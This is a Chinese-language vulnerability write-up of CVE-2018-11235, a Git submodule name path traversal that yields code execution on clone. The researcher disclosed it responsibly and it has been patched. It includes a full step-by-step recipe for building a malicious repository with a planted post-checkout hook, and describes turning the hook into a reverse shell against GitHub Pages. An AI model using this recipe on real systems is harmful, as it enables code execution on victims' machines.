一、概述

最近,我在研究一个包含许多子模块的Git仓库(Repository)。在研究过程中,我意识到自己并不清楚子模块(Submodules)是如何工作的,因此决定深入研究子模块的工作模式,以对其有更清晰的理解。但就在这个研究过程中,我发现了子模块系统的一个漏洞,当子模块被初始化时,将会导致Git中的远程代码执行(RCE)。针对这一漏洞,我复制了一台恶意软件库的主机,并在该主机上成功利用了这一漏洞。最后,我发现并向GitHub的Bounty Hunters项目提交了该漏洞( https://bounty.github.com/bounty-hunters.html ),并获得了CVE-2018-11235的漏洞编号(http://lkml.iu.edu/hypermail/linux/kernel/1805.3/05909.html ) 。
在本文中,我将详细描述发现漏洞的过程,并详细分析利用这一漏洞的步骤。这可能是我寻找漏洞以来所发现的最受欢迎的一个漏洞。如果要让我概述发现这一漏洞的过程,那么必须要认真研究,再加上一点点运气,最后才能得到代码执行漏洞。

 

二、关于子模块

Git允许用户将外部仓库包含到自己的仓库之中,从而可以轻松地包含外部依赖关系,并且能够自动跟踪其发生的更改。根据Git-scm的介绍( https://git-scm.com/docs/gitsubmodules ),我们知道:子模块(Submodule)是嵌入在另一个仓库内的仓库。子模块具有其自己的历史记录(History)。它所嵌入的仓库称为超级项目(Superproject)。
如果大家想要深入研究子模块,以下这些资源可以作为参考:
https://git-scm.com/book/en/v2/Git-Tools-Submodules
https://blog.github.com/2016-02-01-working-with-submodules/
https://chrisjean.com/git-submodules-adding-using-removing-and-updating/
为了理解子模块是如何工作的,我们添加一个基本的子模块,并查看我们对仓库所做的更改。要将子模块添加到仓库,我们只需要使用git submodule add命令。这一过程需要复制外部仓库,并为用户设置一些配置选项。每个子模块都有一个名称和一个路径,该路径用于跟踪子模块,同时也是仓库中子模块的存储位置。
如果我们添加一个外部子模块:

git submodule add https://github.com/staaldraad/repository.git mysubmodule 

将会创建如下文件:
(1)mysubmodule/:将要复制的子模块的仓库路径;
(2).gitmodules:包含有关子模块的初始化信息(如果该文件不存在,将会自动创建);
(3)$GIT_DIR/modules/mysubmodule:该文件夹包含子模块的Git目录(与我们已知的.git目录相同);
(4)$GIT_DIR/config:修改后的.git/config文件,其中包含对所有子模块的引用。
将子模块添加到仓库,并将更改推送到远程设备之后,我们可能会注意到子模块的内容实际上没有添加到远程设备之中。在.gitmodules文件中包含了有关子模块的信息,这些信息将会用于对仓库中任何复制的子模块进行初始化。

为了在本地复制的仓库中对子模块进行初始化,我们需要在复制过程中使用以下命令来进行指定:

git clone --recurse-submodules https://github.com/staaldraad/repository.git 

或者也可以在现有的仓库中,执行以下操作:

git submodule update --init 

.gitmodules文件在子模块中将起到重要的作用,并且该文件是在我们的控制之下。仔细研究.gitmodules文件,我们会发现如下内容:

[submodule "mysubmodule"]
        path = mysubmodule
        url = https://github.com/staaldraad/repository.git 

而就是在这里,我有一丝不寻常的预感,并且开始寻找漏洞。

 

三、漏洞发现过程

3.1 初步尝试

通过查看.gitmodules文件,我们注意到其中出现了两次mysubmodule,一次是在子模块名称中,另一次是在路径之中。而默认情况下,除非使用了—name参数指定名称,否则子模块名称和子模块路径会是相同的。此外,我们还注意到,子模块名称将用于为子模块创建.git目录,这一目录的路径最终为$GIT_DIR/modules/mysubmodule。在这里,我不禁产生了疑问,如果子模块名称就是一个路径呢?为了验证我是否可以操纵所使用的文件路径,我对.gitmodules文件中的子模块名称进行了修改。
修改后的.gitmodules文件如下:

[submodule "../../submodule"]
        path = mysubmodule
        url = https://github.com/staaldraad/repository.git 

我提交了修改,并完成了复制目录这一过程。由于我修改了子模块名称,直接导致子模块仓库在主仓库中被创建,而不是在其所属的.git/modules中创建。

git clone --recurse-submodules https://github.com/staaldraad/repository.git
<snip>...</snip>

cd repository

ls -l 
drwxrwxr-x. 2 staaldraad staaldraad    40 May  3 13:26 submodule -rw-rw-r--. 1 staaldraad staaldraad     3 May  3 13:26 README.md drwxrwxr-x. 2 staaldraad staaldraad    40 May  3 13:26 mysubmodule

ls -l submodule                                                                                                             
total 28
drwxrwxr-x. 2 staaldraad staaldraad    40 May  3 13:26 branches -rw-rw-r--. 1 staaldraad staaldraad   293 May  3 13:26 config -rw-rw-r--. 1 staaldraad staaldraad    73 May  3 13:26 description -rw-rw-r--. 1 staaldraad staaldraad    41 May  3 13:26 HEAD drwxrwxr-x. 2 staaldraad staaldraad   240 May  3 13:26 hooks -rw-rw-r--. 1 staaldraad staaldraad 11120 May  3 13:26 index drwxrwxr-x. 2 staaldraad staaldraad    60 May  3 13:26 info
drwxrwxr-x. 3 staaldraad staaldraad    80 May  3 13:26 logs
drwxrwxr-x. 4 staaldraad staaldraad    80 May  3 13:26 objects -rw-rw-r--. 1 staaldraad staaldraad   107 May  3 13:26 packed-refs drwxrwxr-x. 5 staaldraad staaldraad   100 May  3 13:26 refs 

结果证明,在子模块复制函数中,存在目录遍历漏洞,我们现在可以借助这一漏洞在任意位置进行写入。但遗憾的是,我们还不能控制写入的数据。所有创建的内容都来源于Git,但我们希望进行代码执行,这时Git仓库就显得毫无用处了。因此,我试图使用符号链接,对不同的位置尝试进行写入,但除了能够覆盖现有的文件夹之外,似乎并没有太大作用。
于是,我决定后退一步,先不考虑完全控制写入的内容,而是分析一下Git自身的原理以及如何从Git执行代码,这时我想到了Git钩子(Git Hook, https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks )。

3.2 Git钩子

Git钩子具体分为客户端钩子和服务端钩子。这些钩子是在Git工作流中发生预定义事件时触发的简单可执行脚本(例如Bash等)。最常见的例子就是预提交钩子,用于验证提交中是否包含敏感数据。这些钩子似乎可以作为代码执行的一个有效途径,但不幸的是,钩子位于$GIT_DIR/hooks/中,这也就意味着它们永远不会存储在远程的Git仓库中,并且不会成为复制过程中被复制的一个部分。
之所以这样设定,是有原因的——如果钩子存储在实际的Git工作树中,就可以很容易地创建一个具有恶意客户端钩子的仓库,并且任何复制该仓库的用户都会执行钩子,这显然不是一个理想的状况。
由于子模块只是一个外部的Git仓库,所以子模块也可以具有钩子,这些钩子会存储在$GIT_DIR/modules/modulename/hooks目录下。这时我有了一个想法,如果使用我们的子模块目录遍历漏洞,来创建并触发$GIT_DIR之外的一个钩子是否可行?

3.3 重新回到遍历漏洞

由于这一遍历漏洞的存在,允许我们的子模块仓库位于$GIT_DIR之外,所以我们可以将其添加到工作树,并提交到远程。这也就意味着,它将被包含在任何复制的Git之中,理论上当我们对子模块进行任何更改时,都会触发这一钩子。
考虑到上述原理,我们进行了如下步骤。
(1)添加一个子模块:

git submodule add https://github.com/staaldraad/repository.git submod 

(2)创建一个伪造Git目录,用于我们的遍历:

mkdir -p fakegit/modules 

(3)创建一个Git钩子:

vim fakegit/modules/submod/hooks/post-checkout
chmod +x !$ 

(4)修改.gitmodules,使其包含遍历(新模块名称为../../fakegit/modules/submod)
(5)提交所有内容:

git add .
git commit -m "msg" git push origin master 

我们的思路是,当仓库被复制时,由于fakegit/modules/submod看起来似乎是一个有效的子模块仓库,并且当子模块git submodule update —init执行时,Git将会使用fakegit/modules/submod作为路径,而不是$GIT_DIR/modules/submod。由于其中包含一个钩子,所以在检查完成后将会执行钩子。
思路非常完美,但实际却遇到了失败。

Submodule '../../fakegit/modules/submod' (https://github.com/staaldraad/repository.git) registered for path 'submod' Cloning into '/tmp/c/v/subs/submod'...
fatal: /tmp/c/v/subs/.git/modules/../../fakegit/modules/submod already exists
fatal: clone of 'https://github.com/staaldraad/repository.git' into submodule path '/tmp/c/v/subs/submod' failed
Failed to clone 'submod'. Retry scheduled
Cloning into '/tmp/c/v/subs/submod'...
remote: Counting objects: 274, done.        
remote: Compressing objects: 100% (227/227), done.        
remote: Total 274 (delta 14), reused 268 (delta 8), pack-reused 0        
Receiving objects: 100% (274/274), 44.03 KiB | 392.00 KiB/s, done.
Resolving deltas: 100% (14/14), done.
Submodule path 'submod': checked out 'cc0db68d85f7ce60a51c62bf451d7575e5a9a89e' Submodule path 'submod': checked out 'cc0db68d85f7ce60a51c62bf451d7575e5a9a89e' 

回想一下,我之前曾经提到过,这个遍历漏洞允许我覆盖任意文件夹。而这正是我们失败的原因,子模块尝试在我们伪造的位置初始化子模块仓库,但此时文件夹已经存在,所以它会删除其中的内容,并且尝试。这样一来,就会覆盖我们所特制的攻击,该钩子也永远不会触发。

fatal: /tmp/c/v/subs/.git/modules/../../fakegit/modules/submod already exists
fatal: clone of 'https://github.com/staaldraad/repository.git' into submodule path '/tmp/c/v/subs/submod' failed
Failed to clone 'submod'. Retry scheduled
Cloning into '/tmp/c/v/subs/submod'... 

事已至此,我不打算放弃,接下来我们要解决的问题就只是“防止Git覆盖钩子”。在不断尝试的过程中,我多次遇到了失败,即使使用了第二个子模块成功写入文件夹,最终也会被覆盖。

3.4 解决钩子被覆盖的问题

经过多次尝试后,我开始回顾之前的操作。在之前,我总是为第二个子模块选择了第一个子模块字母顺序之后的路径。这就意味着,第一个模块将尝试被创建,失败后第二个模块将被添加,然后第一个模块会被再次复制。在尝试不同的攻击方法时,我无意中将第二个模块的路径修改成了字母顺序在第一个模块之前,即第二个路径是mod1,第一个路径是submod。
就这一个小小的变化,却触发了一个新的代码路径,而我之前并没有想到会发生这样的情况。当$GIT_DIR/modules中存在一个或多个子模块时,我们的遍历子模块不会覆盖任何文件。通过第二个子模块的初始化过程,就可以创建$GIT_DIR/modules/mod目录,同时将fakegit/modules/submod作为有效路径接受,并且不发生覆盖的情况。这样一来,钩子就仍然存在,我们可以触发钩子!

 

四、漏洞利用

4.1 漏洞利用过程

目前,思路已经清晰,接下来就要整合攻击链了。要利用这一漏洞,需要我们创建“恶意”的仓库,我们的目标将会对其进行复制。
1、首先创建Repo:

mkdir badrepo
cd badrepo
git init
git remote add origin https://github.com/staaldraad/demosub.git 

2、通过我们的目录遍历,寻找子模块创建所需的文件夹:

mkdir -p fakegit/modules 

3、添加两个子模块(其中的内容不重要,只需要权限设置为公开/可复制):

git submodule add https://github.com/staaldraad/repository.git submod git submodule add https://github.com/staaldraad/repository.git aaa 

4、从.git/modules/submod移动伪造子模块的Git仓库:

mv .git/modules/submod fakegit/modules/submod 

5、在伪造Git中,创建我们的钩子,需要是一个有效的Bash脚本:

 cat > fakegit/modules/submod/hooks/post-checkout <<EOF #!/bin/sh  echo "PWNED" ping -c 3 127.0.0.1 exit 0
EOF

chmod +x fakegit/modules/submod/hooks/post-checkout 

6、通过将“submod”更改为“../../fakegit/modules/submod”,将目录遍历添加到.gitmodules中:

sed -i '0,/submod/{s/"submod/"../../fakegit/modules/submod/}' .gitmodules 

7、我们还需要更新子模块.git文件中的gitdir路径,从而使其指向我们的新位置。Git在构建工作树期间会使用该路径,如果我们不进行这一更改,就无法创建我们的提交。原因在于,我们在将其移动到新的伪装位置时,删除了$GIT_DIR/modules/submod。具体来说,我们要将gitdir从../.git/modules/submod修改为../fakegit/modules/submod。

sed -i 's/.git/fakegit/' submod/.git 

8、添加、提交并推送:

git add .
git commit -m "woot" git push origin master 

4.2 受害者用户

当受害者用户复制仓库并使用—recurse子模块时,我们将会得到远程代码执行:

git clone --recurse-submodules https://github.com/staaldraad/demosub.git 


在git submodule update —init的情况下,也同样能够得到远程代码执行:

git clone https://github.com/staaldraad/demosub.git cd demosub
git submodule update --init 

 

五、GitHub页面远程代码执行

5.1 GitHub中发现的漏洞

我们在Git中新发现的远程代码执行漏洞具有较大的危害,但它需要以特定方式来复制仓库,并且可能不会被视为“真实世界”中所发生的。因此,我开始寻找一种能够证明风险的方法。长期以来,我都将GitHub作为漏洞探索的一个目标,尝试获得Shell。经过查看GitHub页面,并在GitHub页面上托管此博客后,我了解到GitHub页面允许用户在仓库中使用子模块(https://help.github.com/articles/using-submodules-with-pages )。
要测试该漏洞是否适用于GitHub非常简单,只要对我们的脚本稍作修改,使其不再ping localhost,而是与我控制的主机进行反向连接,然后在仓库上启用GitHub页面。
最终,我们取得了成功。经过快速验证,该IP地址确实来自GitHub,现在我们就证明了GitHub存在远程代码执行漏洞。
针对GitHub上存在的漏洞,我没有尝试进一步利用,而是及时向GitHub提交了报告。我建议需要特别注意在Docker容器中的非特权用户,需要限制其攻击面和进一步利用漏洞的机会,并且阻止对其他用户数据的访问。
我将这一问题报告给GitHub后,得到了及时有效的回应。在6月3日(周日)早上我提交了该问题,GitHub团队在收到报告后的3小时就进行了漏洞分类,并进行了临时修复。他们的BugBounty计划非常有效,同时GitHub团队还协助将相关问题提交给git-core并申请到了CVE编号。

5.2 边缘案例

当我尝试对2.13.6版本的Git进行漏洞测试时,我同时还请了一个朋友@Saif_Sherei( https://twitter.com/saif_sherei )在他的盒子上测试这一漏洞,但他却没能成功利用该漏洞。他安装了2.7.4版本的Git,成功触发了漏洞攻击,但在复制过程中,工作树目录被添加了额外的….,有效防止了漏洞的利用。在漏洞披露后,Tony Torralba( https://twitter.com/_atorralba)复现了2.7.4版本Git上的漏洞。我强烈建议各位读者阅读他的文章( https://atorralba.github.io/CVE-2018-11235/ ),并学习他的思路和符号链接技巧,以对这一漏洞有更为完整的认识。

5.3 其他操作系统

需要指出的是,该漏洞不仅可以通过Git For Linux进行利用,同时也可以在macOS和Windows上利用。Microsoft Visual Studio服务团队在其发布的补丁公告中包含了一个可用于macOS的PoC。
https://twitter.com/VSTS/status/1001544001881862145

 

六、漏洞修复

针对该漏洞,已于2018年5月29日发布Git补丁。在该补丁中,不仅解决了客户端漏洞,而且还引入了一个防止Git服务器传递“恶意”gitmodule对象的选项。该选项并没有默认启用,但可以通过切换到transfer.fsckObjects来启用。更多信息请阅读: <a href=”https://public-inbox.org/git/20180529211950.26896-1-avarab@gmail.com/””>https://public-inbox.org/git/20180529211950.26896-1-avarab@gmail.com/ 。
上述修复目前已经在大多数主要托管服务器上完成,包括GitHub、GitLab、Microsoft Visual Studio团队服务。我们非常开心看到不同组织能够共同协作,修复这一漏洞,并保护终端用户。
以下版本已经进行了安全更新,建议广大用户更新到不受该漏洞影响的版本:
v2.17.1(最新)
v2.16.4
v2.15.2
v2.14.4
v2.13.7
感谢GitHub安全团队对此漏洞的报告及披露过程提供的协助,也感谢Git的维护人员能进行快速响应和修复。
Edward Thomson还写了一篇很棒的文章,详细介绍了如何在各种平台上更新Git,并提供了验证自己是否受该漏洞影响的方法,强烈推荐阅读这篇文章: https://www.edwardthomson.com/blog/upgrading_git_for_cve2018_11235.html 。
Git团队还为这一漏洞创建了一个测试脚本,该脚本使用内置的Git命令进行漏洞利用尝试,并且跳过了我所经历的一些不必要的步骤: https://github.com/git/git/commit/0383bbb9015898cbc79abd7b64316484d7713b44#diff-07b96ecc79256b188e0ea9b2c6d1180e 。

 

七、参考文章

https://marc.info/?l=git&m=152761328506724&w=2
https://blogs.msdn.microsoft.com/devops/2018/05/29/announcing-the-may-2018-git-security-vulnerability/
https://www.edwardthomson.com/blog/upgrading_git_for_cve2018_11235.html
https://github.com/git/git/commit/0383bbb9015898cbc79abd7b64316484d7713b44
https://atorralba.github.io/CVE-2018-11235/
https://www.allthingsgit.com/episodes/git_security_with_etienne_stalmans.html